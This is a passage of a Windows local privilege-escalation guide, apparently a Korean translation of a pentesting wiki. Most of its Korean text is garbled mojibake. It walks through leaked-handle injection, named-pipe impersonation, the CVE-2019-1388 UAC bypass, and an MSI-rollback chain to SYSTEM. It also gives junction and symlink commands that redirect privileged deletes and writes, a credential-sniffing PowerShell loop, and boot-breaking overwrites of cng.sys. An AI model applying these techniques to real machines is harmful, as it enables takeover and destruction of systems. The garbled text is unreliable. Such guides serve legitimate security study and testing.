๊ฐ์ ํด๋ณด์: SYSTEM์ผ๋ก ์คํ๋๋ ํ๋ก์ธ์ค๊ฐ OpenProcess()๋ก ์๋ก์ด ํ๋ก์ธ์ค์ ๋ํด ์ ์ฒด ๊ถํ(full access) ๋ฅผ ๊ฐ์ง๊ณ ์ด๋ฆฐ ๊ฒฝ์ฐ. ๋์ผํ ํ๋ก์ธ์ค๊ฐ ๋ํ CreateProcess()๋ก ๋ฎ์ ๊ถํ์ ์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋ ๋ฉ์ธ ํ๋ก์ธ์ค์ ๋ชจ๋ ์ด๋ฆฐ ํธ๋ค์ ์์ํ๋๋ก ๋ง๋ค ์ ์๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ฎ์ ๊ถํ ํ๋ก์ธ์ค์ ๋ํด full access๊ฐ ์๋ค๋ฉด, OpenProcess()๋ก ์์ฑ๋ ๊ถํ ์๋ ํ๋ก์ธ์ค์ ๋ํ ์ด๋ฆฐ ํธ๋ค์ ํ๋ํ์ฌ ์์ฝ๋(shellcode)๋ฅผ ์ฃผ์
ํ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ๊ฐ์งํ๊ณ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ ์ด ์์ ๋ฅผ ์ฝ์ด๋ณด์ธ์.
๋ ๋ง์ ๊ถํ ์์ค(๋จ์ง full access๋ฟ๋ง ์๋๋ผ)์ผ๋ก ์์๋ ํ๋ก์ธ์ค ๋ฐ ์ค๋ ๋์ ์ด๋ฆฐ ํธ๋ค๋ค์ ํ
์คํธํ๊ณ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํด ๋ ์์ ํ ์ค๋ช
์ ์ด ๋ค๋ฅธ ํฌ์คํธ๋ฅผ ์ฝ์ด๋ณด์ธ์.
Named Pipe Client Impersonation
๊ณต์ ๋ฉ๋ชจ๋ฆฌ ์ธ๊ทธ๋จผํธ, ํํ pipes๋ผ๊ณ ๋ถ๋ฅด๋ ๊ฒ๋ค์ ํ๋ก์ธ์ค ๊ฐ ํต์ ๋ฐ ๋ฐ์ดํฐ ์ ์ก์ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
Windows๋ Named Pipes๋ผ๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฉฐ, ๊ด๋ จ ์๋ ํ๋ก์ธ์ค๋ค์กฐ์ฐจ ์๋ก ๋ค๋ฅธ ๋คํธ์ํฌ ์์์ ๋ฐ์ดํฐ๋ฅผ ๊ณต์ ํ ์ ์๊ฒ ํด์ค๋ค. ์ด๋ named pipe server์ named pipe client ์ญํ ๋ก ๊ตฌ์ฑ๋ ํด๋ผ์ด์ธํธ/์๋ฒ ์ํคํ ์ฒ์ ์ ์ฌํ๋ค.
ํด๋ผ์ด์ธํธ๊ฐ ํ์ดํ๋ฅผ ํตํด ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ผ ๋, ํ์ดํ๋ฅผ ์ค์ ํ server๋ ํ์ํ SeImpersonate ๊ถํ์ด ์๋ค๋ฉด client์ ์ ์ฒด์ฑ(์ ์)์ ๊ฐ์ง ์ ์๋ค. ํ์ดํ๋ฅผ ํตํด ํต์ ํ๋ ๊ถํ ์๋ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์๋ด๊ณ ๊ทธ ํ๋ก์ธ์ค๊ฐ ๋น์ ์ด ๋ง๋ ํ์ดํ์ ์ํธ์์ฉํ๋๋ก ์ ๋ํ๋ฉด, ํด๋น ํ๋ก์ธ์ค์ ์ ์์ผ๋ก ๊ฐ์ฅํ์ฌ ๋ ๋์ ๊ถํ์ ํ๋ํ ์ ์๋ ๊ธฐํ๊ฐ ๋๋ค. ์ด๋ฐ ๊ณต๊ฒฉ์ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์๋ด๋ ์ฌ๊ธฐ์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์๋ค.
๋ํ ๋ค์ ๋๊ตฌ๋ burp ๊ฐ์ ๋๊ตฌ๋ก named pipe ํต์ ์ ๊ฐ๋ก์ฑ๋(intercept) ๋ฐ ์ฌ์ฉํ ์ ์๋ค: https://github.com/gabriel-sztejnworcel/pipe-intercept
๊ทธ๋ฆฌ๊ณ ๋ค์ ๋๊ตฌ๋ ๋ชจ๋ ํ์ดํ๋ฅผ ๋์ดํ๊ณ ํ์ธํ์ฌ privesc๋ฅผ ์ฐพ๋ ๋ฐ ๋์์ด ๋๋ค: https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
Telephony ์๋น์ค(TapiSrv)๊ฐ ์๋ฒ ๋ชจ๋์ผ ๋ \\pipe\\tapsrv (MS-TRP)๋ฅผ ๋
ธ์ถํ๋ค. ์๊ฒฉ ์ธ์ฆ๋ ํด๋ผ์ด์ธํธ๋ mailslot ๊ธฐ๋ฐ ๋น๋๊ธฐ ์ด๋ฒคํธ ๊ฒฝ๋ก๋ฅผ ์
์ฉํ์ฌ ClientAttach๋ฅผ ๊ธฐ์กด ํ์ผ์ ๋ํ ์์์ 4๋ฐ์ดํธ ์ฐ๊ธฐ(arbitrary 4-byte write)๋ก ๋ฐ๊ฟ ์ ์๊ณ , ์ดํ Telephony ๊ด๋ฆฌ์ ๊ถํ์ ํ๋ํ์ฌ ์์์ DLL์ ์๋น์ค๋ก ๋ก๋ํ ์ ์๋ค. ์ ์ฒด ํ๋ฆ:
ClientAttach์pszDomainUser๋ฅผ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ธฐ์กด ๊ฒฝ๋ก๋ก ์ค์ โ ์๋น์ค๋CreateFileW(..., OPEN_EXISTING)๋ก ํด๋น ํ์ผ์ ์ด๊ณ ๋น๋๊ธฐ ์ด๋ฒคํธ ์ฐ๊ธฐ์ ์ฌ์ฉํ๋ค.- ๊ฐ ์ด๋ฒคํธ๋
Initialize์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋InitContext๋ฅผ ํด๋น ํธ๋ค๋ก ์ด๋ค.LRegisterRequestRecipient(Req_Func 61)๋ก ๋ผ์ธ ์ฑ์ ๋ฑ๋กํ๊ณ ,TRequestMakeCall(Req_Func 121)์ ํธ๋ฆฌ๊ฑฐํ๊ณ ,GetAsyncEvents(Req_Func 0)๋ก ๊ฐ์ ธ์จ ๋ค์ ๋ฑ๋ก ํด์ /์ข ๋ฃํ์ฌ ๊ฒฐ์ ๋ก ์ (write)์ ๋ฐ๋ณตํ๋ค. C:\Windows\TAPI\tsec.ini์[TapiAdministrators]์ ์์ ์ ์ถ๊ฐํ๊ณ ์ฌ์ฐ๊ฒฐํ ํ, ์์์ DLL ๊ฒฝ๋ก๋กGetUIDllName์ ํธ์ถํ์ฌNETWORK SERVICE๋ก์TSPI_providerUIIdentify๋ฅผ ์คํํ๋ค.
์์ธํ ๋ด์ฉ:
Telephony Tapsrv Arbitrary Dword Write To Rce
Misc
File Extensions that could execute stuff in Windows
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํด๋ณด์ธ์: https://filesec.io/
Monitoring Command Lines for passwords
์ฌ์ฉ์ ๊ถํ์ผ๋ก ์ ธ์ ํ๋ํ์ ๋, ์์ฝ๋ ์์ ์ด๋ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ค์ด ๋ช ๋ น์ค์ ์๊ฒฉ์ฆ๋ช (credentials)์ ์ ๋ฌํ๋ฉด์ ์คํ๋๊ณ ์์ ์ ์๋ค. ์๋ ์คํฌ๋ฆฝํธ๋ ํ๋ก์ธ์ค์ ๋ช ๋ น์ค์ 2์ด๋ง๋ค ์บก์ฒํ๊ณ ํ์ฌ ์ํ๋ฅผ ์ด์ ์ํ์ ๋น๊ตํ์ฌ ์ฐจ์ด์ ์ ์ถ๋ ฅํ๋ค.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
๊ทธ๋ํฝ ์ธํฐํ์ด์ค(via console or RDP)์ ์ ๊ทผํ ์ ์๊ณ UAC๊ฐ ํ์ฑํ๋์ด ์๋ ๊ฒฝ์ฐ, ์ผ๋ถ Microsoft Windows ๋ฒ์ ์์๋ ๊ถํ์ด ์๋ ์ฌ์ฉ์๋ก๋ถํฐ ํฐ๋ฏธ๋์ด๋ โNT\AUTHORITY SYSTEMโ๊ณผ ๊ฐ์ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ต๋๋ค.
์ด๋ก ์ธํด ๋์ผํ ์ทจ์ฝ์ ์ผ๋ก ๊ถํ ์์น๊ณผ UAC ์ฐํ๊ฐ ๋์์ ๊ฐ๋ฅํด์ง๋๋ค. ๋ํ ์๋ฌด ๊ฒ๋ ์ค์นํ ํ์๊ฐ ์์ผ๋ฉฐ, ๊ณผ์ ์ค ์ฌ์ฉ๋๋ binary๋ Microsoft๊ฐ ์๋ช ํ๊ณ ๋ฐํํ ๊ฒ์ ๋๋ค.
Some of the affected systems are the following:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์ ๋จ๊ณ๋ฅผ ์ํํด์ผ ํฉ๋๋ค:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
Then read this to learn about UAC and UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
์ด ๊ณต๊ฒฉ์ ๊ธฐ๋ณธ์ ์ผ๋ก Windows Installer์ rollback ๊ธฐ๋ฅ์ ์
์ฉํด ์ ๋นํ ํ์ผ์ ์ ๊ฑฐ(์ธ์ธ์คํจ ๊ณผ์ ์ค)ํ๋ ๋์ ์
์ฑ ํ์ผ๋ก ๊ต์ฒดํ๋ ๋ฐฉ์์
๋๋ค. ์ด๋ฅผ ์ํด ๊ณต๊ฒฉ์๋ C:\Config.Msi ํด๋๋ฅผ ํ์ด์ฌํนํ๋ ๋ฐ ์ฌ์ฉ๋ malicious MSI installer๋ฅผ ๋ง๋ค์ด์ผ ํ๊ณ , ์ด ํด๋๋ ์ดํ ๋ค๋ฅธ MSI ํจํค์ง์ ์ธ์ธ์คํจ ๊ณผ์ ์ค rollback ํ์ผ์ ์ ์ฅํ๋ ๋ฐ Windows Installer๊ฐ ์ฌ์ฉํ๊ฒ ๋ฉ๋๋ค. rollback ํ์ผ์ด ์
์ฑ ํ์ด๋ก๋๋ก ๋ฐ๋์ด ์ ์ฅ๋๋๋ก ๋ง๋ญ๋๋ค.
์์ฝ๋ ๊ธฐ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Stage 1 โ Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
.msi๋ฅผ ๋ง๋ค์ด ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋(TARGETDIR)์ ๋ฌดํดํ ํ์ผ(์:dummy.txt)์ ์ค์นํฉ๋๋ค. -
์ธ์คํจ๋ฌ๋ฅผ **โUAC Compliantโ**๋ก ํ์ํ์ฌ ๋น๊ด๋ฆฌ์ ์ฌ์ฉ์๋ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
-
์ค์น ํ ํ์ผ์ ๋ํ handle์ ์ด๋ฆฐ ์ํ๋ก ์ ์งํฉ๋๋ค.
-
Step 2: Begin Uninstall
-
๋์ผํ
.msi๋ฅผ ์ธ์ธ์คํจํฉ๋๋ค. -
์ธ์ธ์คํจ ๊ณผ์ ์์ ํ์ผ๋ค์ด
C:\Config.Msi๋ก ์ด๋๋๋ฉฐ.rbfํ์ผ๋ก ์ด๋ฆ์ด ๋ฐ๋๋๋ค(rollback ๋ฐฑ์ ). -
ํ์ผ์ด
C:\Config.Msi\<random>.rbf๊ฐ ๋์๋์ง ๊ฐ์งํ๊ธฐ ์ํดGetFinalPathNameByHandle๋ก ์ด๋ ค ์๋ ํ์ผ ํธ๋ค์ ํด๋งํฉ๋๋ค. -
Step 3: Custom Syncing
-
.msi์๋ ๋ค์๊ณผ ๊ฐ์ **custom uninstall action (SyncOnRbfWritten)**์ด ํฌํจ๋์ด ์์ต๋๋ค: -
.rbf๊ฐ ์จ์ก์ ๋ ์ ํธ๋ฅผ ๋ณด๋ ๋๋ค. -
๊ทธ๋ฐ ๋ค์ ์ธ์ธ์คํจ์ ๊ณ์ํ๊ธฐ ์ ์ ๋ค๋ฅธ ์ด๋ฒคํธ๋ฅผ ๊ธฐ๋ค๋ฆฝ๋๋ค.
-
Step 4: Block Deletion of
.rbf -
์ ํธ๋ฅผ ๋ฐ์ผ๋ฉด
FILE_SHARE_DELETE์์ด.rbfํ์ผ์ openํ์ฌ ํด๋น ํ์ผ์ด ์ญ์ ๋๋ ๊ฒ์ ๋ง์ต๋๋ค. -
๊ทธ๋ฐ ๋ค์ ์ธ์ธ์คํจ์ด ์๋ฃ๋๋๋ก ๋ค์ ์ ํธํฉ๋๋ค.
-
Windows Installer๋
.rbf๋ฅผ ์ญ์ ํ์ง ๋ชปํ๊ณ , ๋ชจ๋ ๋ด์ฉ์ ์ญ์ ํ ์ ์๊ธฐ ๋๋ฌธ์C:\Config.Msi๊ฐ ์ ๊ฑฐ๋์ง ์์ต๋๋ค. -
Step 5: Manually Delete
.rbf -
๋น์ (๊ณต๊ฒฉ์)์ด
.rbfํ์ผ์ ์๋์ผ๋ก ์ญ์ ํฉ๋๋ค. -
์ด์
C:\Config.Msi๊ฐ ๋น์ด์๊ฒ ๋์ด, ํ์ด์ฌํนํ ์ค๋น๊ฐ ๋ฉ๋๋ค.
์ด ์์ ์์,
C:\Config.Msi๋ฅผ ์ญ์ ํ๊ธฐ ์ํด SYSTEM-level arbitrary folder delete ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ์ธ์.
- Stage 2 โ Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
์ง์
C:\Config.Msiํด๋๋ฅผ ๋ค์ ๋ง๋ญ๋๋ค. -
์ฝํ DACL(์: Everyone:F)์ ์ค์ ํ๊ณ
WRITE_DAC๊ถํ์ผ๋ก handle์ ์ด๋ฆฐ ์ํ๋ก ์ ์งํฉ๋๋ค. -
Step 7: Run Another Install
-
๋์ผํ
.msi๋ฅผ ์๋์ ๊ฐ์ด ๋ค์ ์ค์นํฉ๋๋ค: -
TARGETDIR: ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น. -
ERROROUT: ๊ฐ์ ์คํจ๋ฅผ ์ ๋ฐํ๋ ๋ณ์. -
์ด ์ค์น๋ ๋ค์ rollback์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, rollback์
.rbs์.rbf๋ฅผ ์ฝ์ต๋๋ค. -
Step 8: Monitor for
.rbs -
ReadDirectoryChangesW๋ฅผ ์ฌ์ฉํดC:\Config.Msi๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ์๋ก์ด.rbs๊ฐ ๋ํ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค. -
๊ทธ ํ์ผ๋ช ์ ์บก์ฒํฉ๋๋ค.
-
Step 9: Sync Before Rollback
-
.msi์๋ ๋ค์๊ณผ ๊ฐ์ **custom install action (SyncBeforeRollback)**์ด ํฌํจ๋์ด ์์ต๋๋ค: -
.rbs๊ฐ ์์ฑ๋๋ฉด ์ด๋ฒคํธ๋ฅผ ์ ํธํฉ๋๋ค. -
๊ทธ๋ฐ ๋ค์ ๊ณ์ํ๊ธฐ ์ ์ ๋๊ธฐํฉ๋๋ค.
-
Step 10: Reapply Weak ACL
-
.rbs created์ด๋ฒคํธ๋ฅผ ๋ฐ์ ํ: -
Windows Installer๋
C:\Config.Msi์ ๋ํด ๊ฐํ ACL์ ์ฌ์ ์ฉํฉ๋๋ค. -
๊ทธ๋ฌ๋ ๋น์ ์ ์ฌ์ ํ
WRITE_DAC๋ก ์ด๋ฆฐ handle์ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก ๋ค์ ์ฝํ ACL์ ์ ์ฉํ ์ ์์ต๋๋ค.
ACL์ ํธ๋ค ์คํ ์์๋ง ์ ์ฉ๋๋ฏ๋ก, ์ฌ์ ํ ํด๋์ ์ธ ์ ์์ต๋๋ค.
-
Step 11: Drop Fake
.rbsand.rbf -
.rbsํ์ผ์ ๊ฐ์ง rollback script๋ก ๋ฎ์ด์จ์ Windows์ ๋ค์์ ์ง์ํฉ๋๋ค: -
๋น์ ์
.rbf(์ ์ฑ DLL)๋ฅผ ํน๊ถ ์์น(์:C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)๋ก ๋ณต์ํ๋ผ๊ณ . -
SYSTEM ๋ ๋ฒจ ํ์ด๋ก๋ DLL์ ๋ด์ ๊ฐ์ง
.rbf๋ฅผ ๋ฐฐ์นํฉ๋๋ค. -
Step 12: Trigger the Rollback
-
๋๊ธฐํ ์ด๋ฒคํธ๋ฅผ ์ ํธํ์ฌ ์ธ์คํจ๋ฌ๊ฐ ์ฌ๊ฐ๋๋๋ก ํฉ๋๋ค.
-
์๋ ค์ง ์ง์ ์์ ์๋์ ์ผ๋ก ์ค์น๋ฅผ ์คํจ์ํค๋๋ก ๊ตฌ์ฑ๋ **type 19 custom action (
ErrorOut)**์ด ์์ต๋๋ค. -
์ด๊ฒ์ด rollback์ ์์ํ๊ฒ ๋ง๋ญ๋๋ค.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer๋:
-
๋น์ ์ ์ ์ฑ
.rbs๋ฅผ ์ฝ๊ณ , -
๋์ ์์น์ ๋น์ ์
.rbfDLL์ ๋ณต์ฌํฉ๋๋ค. -
์ด์ SYSTEM์ด ๋ก๋ํ๋ ๊ฒฝ๋ก์ ์ ์ฑ DLL์ด ์ค์น๋ฉ๋๋ค.
-
Final Step: Execute SYSTEM Code
-
๋น์ ์ด ํ์ด์ฌํนํ DLL์ ๋ก๋ํ๋ ์ ๋ขฐ๋ auto-elevated binary(์:
osk.exe)๋ฅผ ์คํํฉ๋๋ค. -
Boom: ๋น์ ์ ์ฝ๋๋ SYSTEM ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
๋ฉ์ธ MSI rollback ๊ธฐ๋ฒ(์์ ๋ฐฉ๋ฒ)์ ์ ์ฒด ํด๋(์: C:\Config.Msi)๋ฅผ ์ญ์ ํ ์ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ํ์ง๋ง ์ทจ์ฝ์ ์ด ์์ ํ์ผ ์ญ์ ๋ง ํ์ฉํ๋ค๋ฉด ์ด๋ป๊ฒ ํ ๊น์?
NTFS ๋ด๋ถ๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค: ๋ชจ๋ ํด๋์๋ ๋ค์๊ณผ ๊ฐ์ ์จ๊ฒจ์ง ๋์ฒด ๋ฐ์ดํฐ ์คํธ๋ฆผ(alternate data stream)์ด ์์ต๋๋ค:
C:\SomeFolder::$INDEX_ALLOCATION
์ด ์คํธ๋ฆผ์ ํด๋์ ์ธ๋ฑ์ค ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํฉ๋๋ค.
๋ฐ๋ผ์ ํด๋์ ::$INDEX_ALLOCATION ์คํธ๋ฆผ์ ์ญ์ ํ๋ฉด, NTFS๋ ํ์ผ ์์คํ
์์ ํด๋น ํด๋ ์ ์ฒด๋ฅผ ์ ๊ฑฐํฉ๋๋ค.
๋ค์๊ณผ ๊ฐ์ ํ์ค ํ์ผ ์ญ์ API๋ฅผ ์ฌ์ฉํด ์ด ์์ ์ ์ํํ ์ ์์ต๋๋ค:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
ํ์ผ ์ญ์ API๋ฅผ ํธ์ถํ๊ณ ์์์๋ ๋ถ๊ตฌํ๊ณ , ๊ทธ๊ฒ์ ํด๋ ์์ฒด๋ฅผ ์ญ์ ํ๋ค.
ํด๋ ๋ด์ฉ ์ญ์ ์์ SYSTEM EoP๋ก
๋ง์ฝ primitive๊ฐ ์์์ ํ์ผ/ํด๋๋ฅผ ์ญ์ ํ ์ ์์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํด๋์ ๋ด์ฉ๋ฌผ์ ์ญ์ ํ ์ ์๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น?
- Step 1: ๋ฏธ๋ผ ํด๋์ ํ์ผ ์ค์
- ์์ฑ:
C:\temp\folder1 - ๊ทธ ์์:
C:\temp\folder1\file1.txt
- Step 2:
file1.txt์ oplock์ ์ค์
- ํด๋น oplock์ ํน๊ถ ํ๋ก์ธ์ค๊ฐ
file1.txt๋ฅผ ์ญ์ ํ๋ ค ํ ๋ ์คํ์ ์ผ์์ค์งํ๋ค.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- 3๋จ๊ณ: SYSTEM ํ๋ก์ธ์ค ํธ๋ฆฌ๊ฑฐ(์:
SilentCleanup)
- ์ด ํ๋ก์ธ์ค๋ ํด๋(์:
%TEMP%)๋ฅผ ์ค์บํ๊ณ ๊ทธ ์์ ๋ด์ฉ์ ์ญ์ ํ๋ ค๊ณ ์๋ํฉ๋๋ค. - ํด๋น ํ๋ก์ธ์ค๊ฐ
file1.txt์ ๋๋ฌํ๋ฉด, oplock triggers ๊ฐ ๋ฐ์ํ์ฌ ์ ์ด๋ฅผ ๋น์ ์ ์ฝ๋ฐฑ์ผ๋ก ๋๊น๋๋ค.
- 4๋จ๊ณ: oplock ์ฝ๋ฐฑ ๋ด๋ถ โ ์ญ์ ๋ฆฌ๋ค์ด๋ ํธ
-
์ต์ A:
file1.txt๋ฅผ ๋ค๋ฅธ ๊ณณ์ผ๋ก ์ด๋ -
์ด๋ ๊ฒ ํ๋ฉด
folder1์ด ๋น์์ง๋ฉฐ oplock์ ํด์ ํ์ง ์์ต๋๋ค. -
์ง์
file1.txt๋ฅผ ์ญ์ ํ์ง ๋ง์ธ์ โ ๊ทธ๋ ๊ฒ ํ๋ฉด oplock์ด ์กฐ๊ธฐ์ ํด์ ๋ฉ๋๋ค. -
์ต์ B:
folder1๋ฅผ junction์ผ๋ก ๋ณํ:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- ์ต์
C:
\RPC Control์ symlink๋ฅผ ์์ฑ:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
์ด๊ฒ์ ํด๋ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ NTFS ๋ด๋ถ ์คํธ๋ฆผ์ ๊ฒจ๋ฅํ๋ค โ ์ด๋ฅผ ์ญ์ ํ๋ฉด ํด๋๊ฐ ์ญ์ ๋๋ค.
- 5๋จ๊ณ: oplock ํด์
- SYSTEM ํ๋ก์ธ์ค๋ ๊ณ์๋๋ฉฐ
file1.txt์ญ์ ๋ฅผ ์๋ํ๋ค. - ํ์ง๋ง ์ด์ junction + symlink ๋๋ฌธ์ ์ค์ ๋ก ์ญ์ ๋๋ ๊ฒ์:
C:\Config.Msi::$INDEX_ALLOCATION
๊ฒฐ๊ณผ: C:\Config.Msi๋ SYSTEM์ ์ํด ์ญ์ ๋ฉ๋๋ค.
์์ ํด๋ ์์ฑ์์ ์๊ตฌ DoS๋ก
ํด๋น primitive๋ฅผ ์ ์ฉํ๋ฉด SYSTEM/admin ๊ถํ์ผ๋ก ์์์ ํด๋๋ฅผ ์์ฑํ ์ ์์ต๋๋ค โ ์ค๋ น ํ์ผ์ ์ธ ์ ์๊ฑฐ๋ ์ฝํ ๊ถํ์ ์ค์ ํ ์ ์๋ ๊ฒฝ์ฐ์๋.
ํด๋(ํ์ผ์ด ์๋)๋ฅผ ์ค์ํ Windows ๋๋ผ์ด๋ฒ์ ์ด๋ฆ์ผ๋ก ์์ฑํฉ๋๋ค. ์:
C:\Windows\System32\cng.sys
- ์ด ๊ฒฝ๋ก๋ ์ผ๋ฐ์ ์ผ๋ก
cng.sys์ปค๋ ๋ชจ๋ ๋๋ผ์ด๋ฒ์ ํด๋นํฉ๋๋ค. - ์ด๋ฅผ **ํด๋๋ก ๋ฏธ๋ฆฌ ์์ฑ(pre-create it as a folder)**ํ๋ฉด, Windows๋ ๋ถํ ์ ์ค์ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํ์ง ๋ชปํฉ๋๋ค.
- ๊ทธ๋ค์, Windows๋ ๋ถํ
์ค์
cng.sys๋ฅผ ๋ก๋ํ๋ ค๊ณ ์๋ํฉ๋๋ค. - ํด๋๋ฅผ ํ์ธํ๋ฉด, ์ค์ ๋๋ผ์ด๋ฒ๋ฅผ ํด์ํ์ง ๋ชปํด(fails to resolve the actual driver) ์์คํ ์ด ํฌ๋์ํ๊ฑฐ๋ ๋ถํ ์ด ์ค๋จ๋ฉ๋๋ค.
- ๋์ฒด ์๋จ(no fallback)์ด ์์ผ๋ฉฐ ์ธ๋ถ ๊ฐ์ (์: boot repair ๋๋ disk access) ์์ด๋ ๋ณต๊ตฌ๊ฐ ๋ถ๊ฐ๋ฅํฉ๋๋ค.
From privileged log/backup paths + OM symlinks to arbitrary file overwrite / boot DoS
When a privileged service writes logs/exports to a path read from a writable config, redirect that path with Object Manager symlinks + NTFS mount points to turn the privileged write into an arbitrary overwrite (even without SeCreateSymbolicLinkPrivilege).
Requirements
- Config storing the target path is writable by the attacker (e.g.,
%ProgramData%\...\.ini). - Ability to create a mount point to
\RPC Controland an OM file symlink (James Forshaw symboliclink-testing-tools). - A privileged operation that writes to that path (log, export, report).
Example chain
- Read the config to recover the privileged log destination, e.g.
SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtinC:\ProgramData\ICONICS\IcoSetup64.ini. - Redirect the path without admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- ๊ถํ ์๋ ๊ตฌ์ฑ์์๊ฐ ๋ก๊ทธ๋ฅผ ๊ธฐ๋กํ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค(์: admin์ด โsend test SMSโ๋ฅผ ํธ๋ฆฌ๊ฑฐ). ํด๋น ์ฐ๊ธฐ๋ ์ด์
C:\Windows\System32\cng.sys์ ๊ธฐ๋ก๋ฉ๋๋ค. - ๋ฎ์ด์จ์ง ๋์์ (hex/PE parser) ๊ฒ์ฌํ์ฌ ์์ ์ฌ๋ถ๋ฅผ ํ์ธํฉ๋๋ค; ์ฌ๋ถํ ํ๋ฉด Windows๊ฐ ๋ณ์กฐ๋ ๋๋ผ์ด๋ฒ ๊ฒฝ๋ก๋ฅผ ๋ก๋ํ๋๋ก ๊ฐ์ ๋์ด โ boot loop DoS๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด ๊ธฐ๋ฒ์ ๊ถํ ์๋ ์๋น์ค๊ฐ ์ฐ๊ธฐ ์ํด ์ด์ด๋๋ ๋ชจ๋ ๋ณดํธ๋ ํ์ผ์๋ ์ผ๋ฐํ๋ฉ๋๋ค.
cng.sys์ ์ผ๋ฐ์ ์ผ๋กC:\Windows\System32\drivers\cng.sys์์ ๋ก๋๋์ง๋ง,C:\Windows\System32\cng.sys์ ๋ณต์ฌ๋ณธ์ด ์กด์ฌํ๋ฉด ๋จผ์ ์๋๋ ์ ์์ด ์์๋ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๋ ์ ๋ขฐํ ์ ์๋ DoS ์ฑํฌ๊ฐ ๋ฉ๋๋ค.
High Integrity์์ System์ผ๋ก
์ ์๋น์ค
์ด๋ฏธ High Integrity ํ๋ก์ธ์ค์์ ์คํ ์ค์ด๋ผ๋ฉด, SYSTEM์ผ๋ก ๊ฐ๋ ๊ฒฝ๋ก๋ ์ ์๋น์ค๋ฅผ ์์ฑํ๊ณ ์คํํ๋ ๊ฒ๋ง์ผ๋ก ์ฝ๊ฒ ์ป์ ์ ์์ต๋๋ค:
